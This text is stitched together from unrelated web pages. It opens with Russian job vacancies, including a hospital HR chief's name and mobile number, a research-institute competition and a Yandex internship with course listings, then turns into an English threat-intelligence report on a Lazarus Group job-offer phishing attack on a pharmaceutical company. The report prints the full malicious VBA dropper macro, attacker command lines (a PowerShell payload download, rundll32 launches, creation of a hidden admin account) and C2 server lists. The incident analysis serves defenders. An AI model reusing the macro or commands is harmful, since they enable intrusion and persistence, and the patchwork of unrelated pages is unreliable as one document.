Vacancy yandex: Работа в Яндексе

Вакансии — Видновская районная клиническая больница

ГБУЗ МО «Видновская районная клиническая больница» приглашает в свою команду высококвалифицированных специалистов

1. Врач анестезиолог-реаниматолог – ПРИТ Неврологического отделения
2. Врач эндоскопист в консультативно-диагностическое отделение
3. Врач бактериолог в стационар
4. Врачи педиатры – участковые в детскую поликлинику, в амбулатории
5. Врач невролог в детскую поликлинику
6. Врач нефролог в детскую поликлинику
7. Врач детский хирург в детскую поликлинику
8. Врач кардиолог на 0,25 ставки в детскую поликлинику
9. Врач невролог в амбулаторию совхоза им. Ленина
10. Врачи терапевты – участковые в поликлинику, в амбулатории
11. Фельдшер ФАП (ФАП Битцевский)
12. Фельдшер в отделение неотложной медицинской помощи
13. Фельдшер-лаборант в бактериологическую лабораторию стационара
14. Медицинская сестра операционная в операционный блок и в третье хирургическое отделение
15. Медицинские сестры в отделение неотложной помощи по профилю травматология
16. Медицинская сестра функциональной диагностики в детскую поликлинику
17. Медицинские сестры к узким специалистам в амбулаторно-поликлиническую сеть
18. Медсестра-участковая в амбулаторно-поликлиническую сеть

по специальности «Сестринское дело», «Сестринское дело в педиатрии»

19. Медсестры процедурной в амбулаторно-поликлиническую сеть
20. Медсестры в ДОУ в амбулаторно-поликлиническую сеть
21. Акушерка в амбулаторию Горки Ленинские.
22. Санитары в неврологическое отделение и в клинико-диагностическую лабораторию в стационар
23. Оператор ЭВМ в поликлинику Южная по адресу Московская обл. Ленинский г.о. Мкр. Бутово парк 2 Новое ш. д. 10 к. 1 и в Измайловскую врачебную амбулаторию по адресу Московская обл., Ленинский г.о. раб. пос. Измайлово Торговый центр
24. Буфетчики в стационар
25. Лифтеры
26. Гардеробщики 2/2 график работы – сезонная работа
27. Подсобные рабочие
28. Уборщики служебных помещений в стационар и в амбулаторно-поликлиническую сеть
29. Уборщик территории 5/2 график работы

 Возможно рассмотрение вопроса о предоставлении общежития, служебного жилья, рассмотрения вопроса участия в программе по компенсации «Аренда жилья» и участия в программе «Социальная ипотека», также рассмотрение вопроса участия в программе «Земский доктор». Помощь в предоставлении мест в Дошкольные образовательные учреждения.

        Начальник отдела кадров Семушкина Юлия Яковлевна 89104018034 (Просим звонить и/или писать краткую информацию о себе в whatsapp – желаемая должность, имя, возраст, образование и.т.д.)

Актуальные конкурсы

Приказ №82 от 7 сентября 2021 года «О проведении конкурса на замещение должностей научных работников в ЮМИ ВНЦ РАН«

Федеральное государственное бюджетное учреждение науки Федеральный научный центр «Владикавказский научный центр Российской академии наук» (далее – ВНЦ РАН) объявляет конкурс на замещение должностей научных работников в Южном математическом институте – филиале Федерального государственного бюджетного учреждения науки Федерального научного центра «Владикавказский научный центр Российской академии наук» (далее – ЮМИ ВНЦ РАН):

^*Размер должностного оклада зависит от наличия ученой степени.

Для участия в конкурсе претенденту необходимо разместить заявку на сайте Единой информационной системы проведения конкурсов на замещение должностей научных работников (по адресу: http://ученые-исследователи.рф) (далее – портал вакансий).

Все указанные в заявке сведения должны быть подтверждены документально (прикрепить к заявке скан-копии подтверждающих документов).

Претендент вправе разместить на портале вакансий автобиографию (как дополнительный файл к заявке) и иные материалы, которые наиболее полно характеризуют его квалификацию, опыт и результативность.

Список публикаций в заявке претендента необходимо оформить с указанием выходных данных (рекомендуется прикрепить к заявке список публикаций по форме 3.3., размещенной на сайте РАН по адресу http://www.ras.ru/docs/form3-3.htm). Претендент должен иметь научные работы по заявленной тематике.

Сведения об исполнении работ по темам НИР, программам фундаментальных исследований РАН или ее отделений, научным грантам и программам с указанием вида работы (грант, договор, госконтракт, НИР), тематики работы, вида участия (руководитель, исполнитель), сроков выполнения работы, а также сведения об участии претендента в российских и зарубежных конференциях, необходимо разместить как дополнительный файл к заявке.

Копию заявки на участие в конкурсе и копии документов, подтверждающих квалификацию просим Вас направить в общий отдел ЮМИ ВНЦ РАН на электронный адрес: [email protected].

Заявку можно направить и на почтовый адрес: 362025 , г. Владикавказ, ул. Ватутина, д. 53 (5 этаж, ЮМИ ВНЦ РАН).

Дата начала приема заявок – 9 сентября 2021 года (9:00).

Дата окончания приема заявок – 29 сентября 2021 года (09:00).

Конкурс на замещение должностей научных работников будет проведен 30 сентября 2021 года в 15:00 по адресу: 362025 , г. Владикавказ, ул. Ватутина, д. 53 (5 этаж, ЮМИ ВНЦ РАН).

С победителями конкурса будут заключены срочные трудовые договоры.

Яндекс приглашает выпускников Центра «Специалист» на оплачиваемую стажировку по бэкенд-разработке!

Главная

Компания «Яндекс» приглашает на оплачиваемую стажировку по бэкенд-разработке!

Проявившие себя стажеры получат шанс перейти в штат!

Стажировка длится от 3 до 6 месяцев и подразумевает занятость от 20 до 40 часов в неделю.

Стажировка пройдет в Москве, Санкт-Петербурге, Екатеринбурге и Новосибирске.

От вас мы ждем отличного знания базовых алгоритмов и уверенных навыков программирования на одном из языков (С++, Pyhton, Java или Go).

Нужно выполнить тестовое задание, пройти два-три технических интервью, а затем выбрать команду.

Для подготовки к отбору на стажировку мы рекомендуем следующие ресурсы:

1. https://yandex.ru/jobs/pages/ya-interview
2. https://habr.com/ru/company/yandex/blog/449890/

Подать заявку на стажировку нужно через форму: https://forms.yandex.ru/surveys/10033715.18a37aa8e5cabb87a5aea686f0af7650e29d842e/

Для повышения профессиональной квалификации в данной области рекомендуем пройти обучение по следующим курсам

Дата

с 25.09.2021

по 23.10.2021

Режим обучения

суббота утро-день

10:00 — 17:10

Открытое обучение

Очно и онлайн

Курс

Программирование на языке Python. Уровень 1. Базовый курс

Преподаватель

ЮрченкоЕвгений
Витальевич

Место обучения

«Белорусско-Савеловский»

м.Белорусская

м.Савеловская

Стоимость для физ. лиц

Дата

с 25.09.2021

по 23.10.2021

Режим обучения

суббота утро-день

10:00 — 17:10

Открытое обучение

Очно и онлайн

Курс

Программирование на языке Python. Уровень 3. Разработка веб-приложений в Django

Преподаватель

ЮрченкоЕвгений
Витальевич

Место обучения

«Белорусско-Савеловский»

м.Белорусская

м.Савеловская

Стоимость для физ. лиц

Дата

с 25.09.2021

по 23.10.2021

Режим обучения

суббота утро-день

10:00 — 17:10

Очно и онлайн

Курс

Java. Уровень 1. Язык программирования Java

Преподаватель

КораблинАлександр
Игоревич

Место обучения

«Таганский»

м.Пролетарская

м.Крестьянская застава

Стоимость для физ. лиц

Дата

с 04.10.2021

по 15.10.2021

Режим обучения

ежедневно вечер

18:30 — 21:30

Очно и онлайн

Курс

Программирование на языке Python. Уровень 2. Продвинутый курс

Преподаватель

ШиховцовВадим
Викторович

Место обучения

«Стилобат»

м.Бауманская

Стоимость для физ. лиц

Дата

с 09.10.2021

по 06.11.2021

Режим обучения

суббота утро-день

10:00 — 17:10

Открытое обучение

Очно и онлайн

Курс

Программирование на Visual С++

Преподаватель

ШуйковСергей
Юрьевич

Место обучения

«Стилобат»

м.Бауманская

Стоимость для физ. лиц

Дата

с 09.10.2021

по 06.11.2021

Режим обучения

суббота утро-день

10:00 — 17:10

Открытое обучение

Очно и онлайн

Курс

Разработка приложений с использованием SPRING и Spring MVC/REST

Преподаватель

ШуйковСергей
Юрьевич

Место обучения

«Стилобат»

м.Бауманская

Стоимость для физ. лиц

Дата

с 11.10.2021

по 15.10.2021

Режим обучения

ежедневно утро-день

10:00 — 17:10

Очно и онлайн

Курс

Java. Уровень 2. Разработка клиент-серверных приложений

Преподаватель

ШуйковСергей
Юрьевич

Место обучения

«Радио»

м.Бауманская

м.Авиамоторная

Стоимость для физ. лиц

Дата

с 18.10.2021

по 29.10.2021

Режим обучения

ежедневно вечер

18:30 — 21:30

Очно и онлайн

Курс

Java. Уровень 3. Разработка серверного программного обеспечения на Java Enterprise Edition

Преподаватель

ТимаковАлексей
Анатольевич

Место обучения

«Радио»

м.Бауманская

м.Авиамоторная

Стоимость для физ. лиц

Дата

с 27.11.2021

по 25.12.2021

Режим обучения

суббота утро-день

10:00 — 17:10

Очно и онлайн

Курс

Программирование на языке Python. Уровень 4. Анализ и визуализация данных на языке Python. Библиотеки Pandas, numpy, Matplotlib

Преподаватель

ШиховцовВадим
Викторович

Место обучения

«Белорусско-Савеловский»

м.Белорусская

м.Савеловская

Стоимость для физ. лиц

Дата

с 11.04.2022

по 22.04.2022

Режим обучения

ежедневно вечер

18:30 — 21:30

Очно и онлайн

Курс

Программирование на языке Go. Уровень 1. Основы языка Go

Преподаватель

ШиховцовВадим
Викторович

Место обучения

«Радио»

м.Бауманская

м.Авиамоторная

Стоимость для физ. лиц

Дата

с 20.05.2022

по 27.05.2022

Режим обучения

ежедневно вечер

18:30 — 21:30

Очно и онлайн

Курс

Программирование на языке Go. Уровень 2. Проектирование REST API

Преподаватель

ШиховцовВадим
Викторович

Место обучения

«Радио»

м.Бауманская

м.Авиамоторная

Стоимость для физ. лиц

Дата

с 19.12.2022

по 30.12.2022

Режим обучения

ежедневно вечер

18:30 — 21:30

Очно и онлайн

Курс

Программирование на языке Go. Уровень 3. Разработка веб-приложений

Преподаватель

ШиховцовВадим
Викторович

Место обучения

«Радио»

м.Бауманская

м.Авиамоторная

Стоимость для физ. лиц

* Данная скидка действительна при заказе и оплате онлайн обучения только сегодня. Запишитесь прямо сейчас со скидкой!

Заказ добавлен в Корзину.

Для завершения оформления, пожалуйста, перейдите в Корзину!

Главная

Threat Hunters vs Head Hunters

Contents

Introduction

At the end of September 2020, Positive Technologies Expert Security Center (PT Expert Security Center, PT ESC) was involved in the investigation of an incident in one of the largest pharmaceutical companies. After starting to analyze the tactics, techniques, and procedures (TTPs) of the attackers, the investigation team found similarities with the Lazarus Group attacks previously described in detail by cybersecurity experts in the reports Operation: Dream Job and «Operation (노스 스타) North Star A Job Offer That’s Too Good to be True?».

This article describes a previously unknown attack by the APT group, reveals the Lazarus Group’s TTPs that allowed attackers to obtain partial control over a pharmaceutical company’s infrastructure in just four days, as well as the tools used by the attackers for preliminary compromise, network reconnaissance, and gaining persistence in the infrastructure of the targeted company.

At the end of the article, PT ESC provides a list of the group’s TTPs and indicators of compromise that can be used by cybersecurity specialists to identify traces of the group’s attacks and search for threats in their infrastructure.

1. Sequence of events

At the end of September 2020, an employee of the pharmaceutical company received a document named GD2020090939393903.doc with a job offer (creation date: 2020:09:22 03:08:00). After a short period of time, another employee received a document named GD20200909GAB31.doc with a job offer from the same company (creation date: 2020:09:14 07:50:00). By opening the documents from a potential employer, both victims activated malicious macros on their home computers (see the «Malicious document» section).

Figure 1. Malicious document

In one of the cases, a malicious document was received via Telegram. Note that both documents were received by the victims over the weekend.

After running malicious macros on two compromised computers, reconnaissance was performed (T1016: System Network Configuration Discovery) by using system utilities ipconfig.exe, ping.exe, and net.exe. Also the following unknown PE files were launched:

• C:\ProgramData\Applications\ZCacher.dat;
• C:\ProgramData\Applications\MemoryCompressor.tls-lbn;
• C:\ProgramData\Applications\MemoryCompressor.tls;
• C:\ProgramData\Applications\MemoryCompressor64.exe.

It was not possible to gain full access to all the files listed above during the incident investigation.

One of the compromised computers used CommsCacher, a backdoor named ApplicationCacher-f0182c1a4.rb (compilation date: 2020-09-14T16:21:41Z), and its configuration file C:\Users\*\AppData\Local\.IdentityService\AccountStore.bak encrypted with the VEST algorithm, as well as the LNK startup file C:\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MSSqlite3Svc.lnk. Notably, the backdoor monitors RDP sessions on the compromised computer using WTSEnumerateSessionsW (see the Trojan-Backdoor CommsCacher section).

According to the proxy server logs, the compromised computers tried to connect to the address forecareer[.]com:443, which was not detected by antivirus engines as malicious at the time of the attack. According to WHOIS entries, the domain had been registered a few days before the attack began.

Figure 2. Domain data from the VirusTotal resource

Figure 3. Domain registrar data

At the time of the attack, content was published on the domain that copied a page of the official website of General Dynamics Mission Systems, one of the world’s largest manufacturers of military and aerospace equipment. The Lazarus Group had already used this brand in its attacks. The domain also had a valid SSL certificate.

Figure 4. SSL certificate parameters

Figure 5. Original page of the General Dynamics Mission Systems website

Figure 6. Forged page

At the beginning of the working week, both victims connected to the RDG server of one of the organization’s branches from the compromised personal computers. This allowed attackers to gain access to the company’s corporate network.

On the same day, the company’s RDG server showed traces of illegitimate activity and evidence of malicious reconnaissance on the network for the first time. The compromised accounts, in particular, were used to run system utilities systeminfo.exe, ipconfig.exe, netstat.exe, tasklist.exe, qwinsta.exe, query.exe, quser.exe, net.exe, and ping.exe, as well as C:\ProgramData\Comms\Cacher.hls-iol (version of the public utility ADFind for Active Directory requests).

Later, CommsCacher with the name C:\ProgramData\USOShared\usomsqlite3.lgs.dat was also installed on the RDG server.

The attackers also uploaded an unknown PE file with the name C:\ProgramData\volitile.dat and launched the DLL library C:\ProgramData\comms\commspkg.bin (compilation date: 2020-08-22T18:45:25Z), which executes files transfered in the configuration via the command line using CreateProcessW. The library is protected by VMProtect.

  
powershell -Command (New-Object Net.WebClient).DownloadFile('http://192.168.129.92:8080/volitile.ico', 'C:\ProgramData\volitile.dat')
  

cmd.exe /c cmd.exe /c rundll32.exe c:\\programdata\\comms\\commspkg.bin,Serialize +JHzz8nMxMn+wvv+y/7z+MzCwsjz+MzCwsjPwMSN+/7L"

Two days later, after entering the corporate network, the attackers gained access to a number of servers, including the domain controller, additional RDG server, file server, and Crontab server. On these servers, the attackers also performed reconnaissance using system utilities and system services with the name usomgmt. The attackers used this name to name their own services on the compromised hosts:

cmd.exe /c cmd.exe /c C:\ProgramData\Microsoft\gpolicy.dat -f C:\ProgramData\Microsoft\gpolicy.out C:\ProgramData\Microsoft\gpolicy.bin 1q2w3e4r@#$@#$@#$

cmd.exe /c cmd.exe /c C:\ProgramData\Microsoft\gpolicy.dat 312 C:\ProgramData\Microsoft\gpolicy.bat

cmd.exe /c cmd.exe /c net user admin$ abcd1234!@#$ /add

cmd.exe /c cmd.exe /c net localgroup administrators admin$ /add

cmd.exe /c cmd.exe /c net localgroup -?-¦-+-+-+-+-?-?-?-¦-?-+-?-? admin$ /add

cmd.exe /c cmd.exe /c net user admin$ /delete >> C:\ProgramData\Microsoft\gpolicy.out

During incident investigation, the experts failed to gain access to files C:\ProgramData\Microsoft\gpolicy.dat, C:\ProgramData\Microsoft\gpolicy.out, C:\ProgramData\Microsoft\gpolicy.bin, and C:\ProgramData\Microsoft\gpolicy.bat. Tampering with creation, deletion, and addition of the user admin$ to the administrator group would later provoke the suspicion of the system administrators of the compromised company and serve as the beginning of the incident response.

Similar actions of attackers with the account admin$ were described in the report «Greetings from Lazarus.»

At the same time, by performing reconnaissance on the computers available, the attackers received new vectors for penetration into the company’s corporate network. So, two days later, after the company’s network infrastructure was compromised, another employee from another branch received a job offer. On the social network LinkedIn, the victim was contacted by a user named Rob Wilson, shortly after which she received an email with a job offer from General Dynamics UK.

Figure 7. Example of correspondence with Rob Wilson on Linkedin

https://mail.yandex.ru/?uid=*********#message/***************,Message "***, please add me to your LinkedIn network!" — Rob Wilson — Yandex.Mail,29.09.2020 12:54

https://mail.yandex.ru/?uid==*********#message/***************,Message «Rob sent you a new message» — Rob Wilson via LinkedIn — Yandex.Mail,29.09.2020 13:30

Figure 8. Rob Wilson account

After studying the information about the job and the company through the Yandex search engine, Wikipedia and the legitimate website of General Dynamics UK, the employee continued to correspond with Rob Wilson’s account, from whom they received links to download malicious documents GD20200909GAB31.doc, PDF20200920KLKA.pdf, and PDF20200920KLKA.zip from an attacker-controlled job search website clicktocareers[.]com, which was not detected by antivirus engines as malicious at the time of the attack.

Figure 8. Domain data from the VirusTotal resource

Note that the victim failed to open the received PDF document the first time, after which the attackers sent her the InternalPDFViewer.exe software to view PDF files.

https://generaldynamics.uk.com/,Home - General Dynamics UK,29.09.2020 13:43,2,https://yandex.ru/search/?lr=16&text=%20General%20Dynamics%20UK%20Ltd%20

https://generaldynamics.uk.com/about/about-us/,About us - General Dynamics UK,29.09.2020 13:44
https://generaldynamics.uk.com/work/,Work with us - General Dynamics UK,29.09.2020 13:45
https://generaldynamics.uk.com/work/careers/,Careers - General Dynamics UK,29.09.2020 13:45

https://generaldynamics.uk.com/work/careers/project-management/,Project management - General Dynamics UK,29.09.2020 13:45

https://generaldynamics.uk.com/work/careers/current-vacancies/,Current vacancies - General Dynamics UK,29.09.2020 13:46

The compromised user also forwarded the malicious email to her colleague. However, the recipient did not open the malicious document and did not allow the attackers to expand the attack surface.

  
https://mail.clicktocareers[.]com/public/jobapplications/jdviewer.php?jd=10931  GD20200909GAB31.doc 29.09.2020 16:50:35
https://ru.wikipedia.org/wiki/General_Dynamics,General Dynamics — Википедия,29.09.2020 13:56,1,https://yandex.ru/search/?text=%20General%20Dynamics%20UK%20Ltd%20&lr=16
https://mail.clicktocareers[.]com/public/jobapplications/jdviewer.php?jd=12314  PDF20200920KLKA.ZIP 29.09.2020 17:04:01

https://mail.clicktocareers[.]com/public/jobapplications/jdviewer.php?jd=77234  PDF20200920KLKA.PDF 29.09.2020 17:06:11

https://generaldynamics.uk.com/systems/,See what we do - General Dynamics UK,29.09.2020 14:11

https://mail.yandex.ru/?uid=*********#message/***************,Письмо «Rob sent you a new message» — Rob Wilson через LinkedIn — Яндекс.Почта,29.09.2020 14:21

https://mail.yandex.ru/?uid=*********#message/***************,Письмо «Job Proposal at GDLS» — Rob Wilson — Яндекс.Почта,29.09.2020 16:50

https://mail.yandex.ru/?uid=*********#message/***************,Письмо «Re: Job Proposal at GDLS» — Rob Wilson — Яндекс.Почта,29.09.2020 17:03

  

Sensitive information has been replaced with asterisks (*).

On the compromised computer, the attackers performed reconnaissance using system commands query.exe, quser.exe, and netstat.exe and installed a CommsCacher backdoor named CommsCacher.dat, which gains persistence via an LNK file in the startup folder. The experts also discovered the evidence of launching the malicious DLL Trojan-Downloader Agamemnon regid.mdb (compilation date: 2020-09-14T16:21:26Z), which is extracted from a malicious document, then collects information from the infected host, sends it to the attackers’ server, and in response receives a payload (see the Trojan-Downloader Agamemnon section). Command execution and network reconnaissance on the computer were carried out using the public utility SMBMAP designed for scanning SMB services.

2. Malicious document

The phishing document GD2020090939393903.doc contains a decoy text in the form of a job offer. The text of the document:

Senior Business Manager

Job Location: Washington, DC
Employment Type: Full Time
Clearance Level Must Currently Possess: None
Clearance Level Must Be Able to Obtain: None
Telecommuting Options: Some Telecommuting Allowed
Annual Salary: $72k - $120k


Job Description:

General Dynamics Mission Systems (GDMS) engineers a diverse portfolio of high technology solutions, products and services that enable customers to successfully execute missions across all domains of operation.
With a global team of 13,000+ top professionals, we partner with the best in industry to expand the bounds of innovation in the defense and scientific arenas.
Given the nature of our work and who we are, we value trust, honesty, alignment and transparency. We offer highly competitive benefits and pride ourselves in being a great place to work with a shared sense of purpose.
You will also enjoy a flexible work environment where contributions are recognized and rewarded. If who we are and what we do resonates with you, we invite you to join our high performance team!


Responsibilities:
Bachelor's degree in Senior Business Manager or a related specialized area or the equivalent experience is required plus a minimum of 10 years of relevant experience; or Master's degree plus a minimum of 8 years of relevant experience to meet managerial expectations.
The candidate must have proven experience with the capture management and proposal development processes.
Department of Defense TS/SCI security clearance is preferred at time of hire. Candidates must be able to obtain a TS/SCI clearance with polygraph within a reasonable amount of time from date of hire. Applicants selected will be subject to a U.S. Government security investigation and must meet eligibility requirements for access to classified information.
Due to the nature of work performed within our facilities, U.S. citizenship is required.
For foreign Candidates, they have to related in U.S with family.

Qualifications:
At General Dynamics Mission Systems (GDMS), we deliver systems that provide critical intelligence data to our national leadership.
As market leader and technology innovator, we are seeking talented professionals to deliver cutting edge solutions to our customers.
GDMS has an immediate opening for a Senior Manager of Business Development.
The selected candidate will work to identify and acquire new business ventures for GDMS and its customers.
The Senior Manager of Business Development will work among a talented and technically accomplished group of colleagues, and enjoy a flexible work environment where contributions are recognized and rewarded.


REPRESENTATIVE DUTIES AND TASKS:
The selected Senior Manager of Business Development:
Identifies and captures new business opportunities in the international and domestic Signals Intelligence (SIGINT) marketplace, with emphasis on High Frequency (HF) and Very High/Ultra High Frequency (V/UHF) Communications Intelligence (COMINT) Direction Finding (DF) Systems and Satellite Communication & Collection Systems;
Establishes and maintains frequent Intelligence Community (IC) and Defense customer contacts in the international and domestic SIGINT, COMINT/DF and Satellite Communication marketplace;
Collaborates with customers to develop system Concept of Operations (CONOPS), architectures, and requirements for SIGINT, COMINT/DF and Satellite Communication collection systems;
Develops and presents briefing packages of business area capabilities and system offerings to international and domestic customers;
Works closely with business area technical and management team to align business area strategy, capabilities, investments, and offerings with SIGINT, COMINT/DF and Satellite Communication markets;
Performs competitor analyses and develops teaming relationships as needed;
Works closely with Export Compliance organization to obtain all export licenses for business pursuits in the international marketplace.



Required Skills:
Minimum of five (5) years of project management related experience, with 2 years of experience as a Business Development Manager in a "large" or Government organization.
Experience coordinating and overseeing the implementation of security projects.
Experience with MS Project, SharePoint, or other project management tools.
Knowledge of general management and auditing techniques for identifying problems, gathering and analyzing pertinent information, forming conclusions, developing solutions and implementing plans consistent with management goals.
Excellent oral and written communication skills. Interaction and information gathering with coworkers and customers.


Education / Certifications:
Master's degree from an accredited higher education institution and a minimum of 11 years of progressive Business Development experience or equivalent experience.
One industry-recognized business development management certification.
Certifications relating to Government Clearance (a plus)



We are GDMS. The people supporting some of the most complex government, defense, and intelligence projects across the country. We deliver. Bringing the expertise needed to understand and advance critical missions. We transform. Shifting the ways clients invest in, integrate, and innovate technology solutions. We ensure today is safe and tomorrow is smarter. We are there. On the ground, beside our clients, in the lab, and everywhere in between. Offering the technology transformations, strategy, and mission services needed to get the job done. GDMS is an Equal Opportunity/Affirmative Action employer. All qualified applicants will receive consideration for employment without regard to race, color, religion, sex, sexual orientation, gender identity, national origin, disability, or veteran status, or any other protected class.
 

Some modifications of malicious documents obtained during the investigation were protected with the password JD-20BZ@9918261231C3 (presumably, to bypass security measures). Document metadata:

File Size                       : 1991 kB
File Permissions                : rwxrwx---
File Type                       : DOC
File Type Extension             : doc
MIME Type                       : application/msword
Title                           :
Subject                         :
Author                          : User
Keywords                        :
Comments                        :
Template                        : Normal
Last Modified By                : Admin
Revision Number                 : 2
Software                        : Microsoft Office Word
Total Edit Time                 : 2.0 minutes
Create Date                     : 2020:09:22 03:08:00
Modify Date                     : 2020:09:22 03:08:00
Pages                           : 4
Words                           : 870
Characters                      : 4960
Security                        : Password protected
Code Page                       : Windows Latin 1 (Western European)
Company                         :
Lines                           : 41
Paragraphs                      : 11
Char Count With Spaces          : 5819
App Version                     : 15.0000
Scale Crop                      : No
Links Up To Date                : No
Shared Doc                      : No
Hyperlinks Changed              : No
Title Of Parts                  :
Heading Pairs                   : Title, 1
Comp Obj User Type Len          : 32
Comp Obj User Type              : Microsoft Word 97-2003 Document

Analysis of the document showed that GD2020090939393903.doc contains a malicious VBA macro and a payload encoded using Base64 and XOR algorithms:

Figure 10. The structure of the document GD2020090939393903.doc

Attribute VB_Name = "NewMacros"
Private Function Base64Decode(base64 As String) As Variant
    Dim xmlDoc As Object
    Dim xmlNode As Object

    Set xmlDoc = CreateObject("MSXML2.DOMDocument")
    Set xmlNode = xmlDoc.createElement("b64")

    xmlNode.dataType = "bin.base64"
    xmlNode.Text = base64

    Base64Decode = xmlNode.nodeTypedValue

End Function
Private Function GetStringData(data As String) As String
    Dim decData As Variant
    Dim nLen As Long
    Dim strPath As String

    decData = Base64Decode(data)
    nLen = UBound(decData) - LBound(decData) + 1

    strPath = ""
    For inx = 0 To nLen - 1
        strPath = strPath & Chr((decData(inx) Xor 37) + 134 - 256)
    Next inx
    GetStringData = strPath
End Function
Private Function GetBufferData(data As String) As Variant
    Dim decData As Variant
    Dim nLen As Long

    decData = Base64Decode(data)
    nLen = UBound(decData) - LBound(decData) + 1

    For inx = 0 To nLen - 1
     If ((decData(inx) Xor 214) + 55) > 255 Then
        decData(inx) = (decData(inx) Xor 214) + 55 - 256
     Else
        decData(inx) = (decData(inx) Xor 214) + 55
     End If
    Next inx
    GetBufferData = decData
End Function
Sub AutoOpen()
'
' AutoOpen Macro
'
'
Dim strPath As String
Dim strArgment As String
Dim DataBuffer As Variant
Dim PBuffer() As Byte
Dim strObject As String

If ActiveDocument.Shapes.Count < 1 Then Exit Sub

strPath = GetStringData(ActiveDocument.Shapes("Text Box 3").TextFrame.TextRange.Text)
strArgment = GetStringData(ActiveDocument.Shapes("Text Box 4").TextFrame.TextRange.Text)
DataBuffer = GetBufferData(ActiveDocument.Shapes("Text Box 5").TextFrame.TextRange.Text)
nLen = UBound(DataBuffer) - LBound(DataBuffer) + 1
strObject = GetStringData(ActiveDocument.Shapes("Text Box 6").TextFrame.TextRange.Text)

    ReDim PBuffer(nLen)
    For inx = 0 To nLen - 1
        PBuffer(inx) = DataBuffer(inx)
    Next inx

    Open strPath For Binary Lock Write As #1
    Put #1, 1, PBuffer
    Close #1


    ActiveDocument.Shapes("Text Box 2").Select
    Selection.ShapeRange.TextFrame.TextRange.Select
    Selection.Collapse
    Selection.WholeStory
    Selection.Copy
    Selection.ShapeRange.Select
    Selection.MoveUp Unit:=wdScreen, Count:=1
    Selection.WholeStory
    Selection.Delete Unit:=wdCharacter, Count:=1
    Selection.PasteAndFormat (wdFormatOriginalFormatting)
    ActiveDocument.Save

    Set objShell = CreateObject(strObject)
    objShell.Run strArgment, 0, False
    Set objShell = Nothing
End Sub

Later, during threat hunting, the experts found similar documents:

Examples of decoy documents:

Figure 11. Example of a stub

Figure 12. Example of a stub

3. Trojan-Downloader Agamemnon

If successful, the malicious macro extracts the decrypted data to the file 963e8cfaa40226ba2e5d516464572446 in the directory C:\ProgramData\regid.mdb and runs the library with the following parameters:

 
rundll32.exe C:\ProgramData\regid.mdb,sqlite3_create_functionex X4BJOPK3O6nxwkVuK3HqqTt4 LRTB /QV3AcjAeAb/x3xH+0ZhyOBJfZXilGFS69N5E/rSe2z47XDp8uh47v2vZ6/zrkkg9KFobffsQyr5q0Urx6pxtP31eXHG8ER2xfd/t8/2SjjQeXOF8oR6guvDbIPownS85T1uOfD4YX7tv2T/4D5iMOnxaj3pfFW607td+9P6bGTTJVah3OBeptWnXOfeJl4o0elCtd10QLLZc1jz3PJEjNiNUAndiENOwM9WD9COUgDUgUiN1MxSSuXLYIvgCmwU7VVnEe5QbpbvV27X71ZrmPNZTmXMZFqiyuNLY8ViVFzLHUfZwJhB3tffRZ/4XngQ+FF1HfJcSVrJm0Ob95p9BPCFREHLwH8G9Yd5B/uGTYjxyW1V4tRgUuHTa5P6Un8s9W1+qf3oZ+7y73Dv8y52YMhheq3GbHKqw+tEq8DqfHTMNUqxxfB+ds43TLfL9kR4zzlrxeyEbcLuw3tD6wJkfOV9brniuGp+5j9nP+b+ZnDp8Wt96TxQ+um7UPviOlck3qVWIevga2bcp1kn2KZbKO4pTXXM9Fxy2/NbM9iyVAzVjVHJ10hWzs2PR4/TzmjA6sFazdkMYsrTC2OL40pclO4VZhHY0GRW71dpF+9Wa5jvmU1l3ORQYs6jW2PM4k8c1l1CWcDYRp7Nn0Tfxh5CEMnRSh40nEna9dt92/Iad0TNxXeB/kB5xvXHT4f7hmEI/IlQVe/UexLhk30T/5J/bOotYWng6HGu9+93b/Cud2DJYUTt+axz6sLrQ2vAqkP0wDVGcfgwSXbPN073/jZP+M+5csX8xG6C7YNqw+vCajzl/WG54HhmPuG/cL/yfmhw2HFU/dT8U7rRe2L71zpT5NclX+HZ YFRm7+dYZ9imQGjcKV313vRd8svzW/Pfsl8Mxc1QCd1IV87Xz1CPxg5TAOqBWg3XzFdKw==

Agamemnon is a legitimate SQLite DLL library with the malicious exported function sqlite3_create_functionex. This modification as well as the method of gaining persistence on a compromised computer in the startup folder were described in the report Operation (노스 스타) North Star A Job Offer That’s Too Good to be True.

When launched, the extracted file regid.mdb collects the following information about the system:

• Computer name;
• Information about network adapters;
• User name;
• List of running processes.

Next, the malware compresses the received data using the LZ algorithm with the maximum compression ratio, after which it encrypts the data with its own algorithm and encodes it in Base64. The malware also generates a unique identifier for the infected host.

The collected information is sent to one of the attackers’ C2 servers along with the computer ID. The full list of C2 servers is transmitted in encrypted form via the command line. The file GD2020090939393903.doc transmits the following list of C2 servers:

https://propro[.]jp/wp-content/documents/docsmgmt.php
http://www.ctevt.org[.]np/ctevt/public/frontend/review.php
http://gbflatinamerica[.]com/file/filelist.php
http://www.apars-surgery[.]org/bbs/bbs_files/board_blog/write.php
http://goldllama4.sakura.ne[.]jp/waterdo/wp/wp-content/plugins/view.php
https://bootcamp-coders.cnm[.]edu/~dmcdonald21/emoji-review/storage/app/humor.php

After sending the data to the C2 server, the malware receives a response from it. It contains the main payload also encrypted with its own algorithm. It is either executed in the process memory or uploaded to the hard disk at: %localappdata%\~DMF[0-9]{4}.tmp (the path is given in RegExp format) and launched using rundll32.exe. The version of payload execution is determined by the response of the C2 server.

Note that the loader is successfully detected in the public sandbox ANY.RUN.

Figure 13. Information about network detection

4. Trojan-Backdoor CommsCacher

CommsCacher is also a legitimate SQLite DLL library with the malicious exported function sqlite3_create_functionex. Examples of LNK files with CommsCacher autorun parameters are shown below.

rundll32.exe CommsCacher.dat,sqlite3_create_functionex dbmanagementservice19253

rundll32.exe ApplicationCacher-f0182c1a4.rbs,sqlite3_create_functionex sqlite3msdbmgmtsvc-f810a

CommsCacher downloads and uploads configuration data to the hard disk in the file: %localappdata%\.IdentityService\AccountStore.bak. The configuration file is encrypted with the VEST encryption algorithm and contains a list of C2 servers. Example of the configuration data:

https://akramportal[.]org/delv/public/voice/voice.php
https://vega.mh-tec[.]jp/.well-known/gallery/siteview.php
https://www.hospitality-partners[.]co.jp/works/performance/consumer.php
https://inovecommerce[.]com.br/public/pdf/view.php

Connecting to one of the C2 servers, the sample receives shellcode and configuration data in response from the C2. The received data is decrypted and the shellcode with the transmitted parameters is launched. After that, the CommsCacher malware opens a named pipe \\.\pipe\fb4d1181bb09b484d058768598b, which is used to receive data from the shellcode and then transmit it to the C2 server.

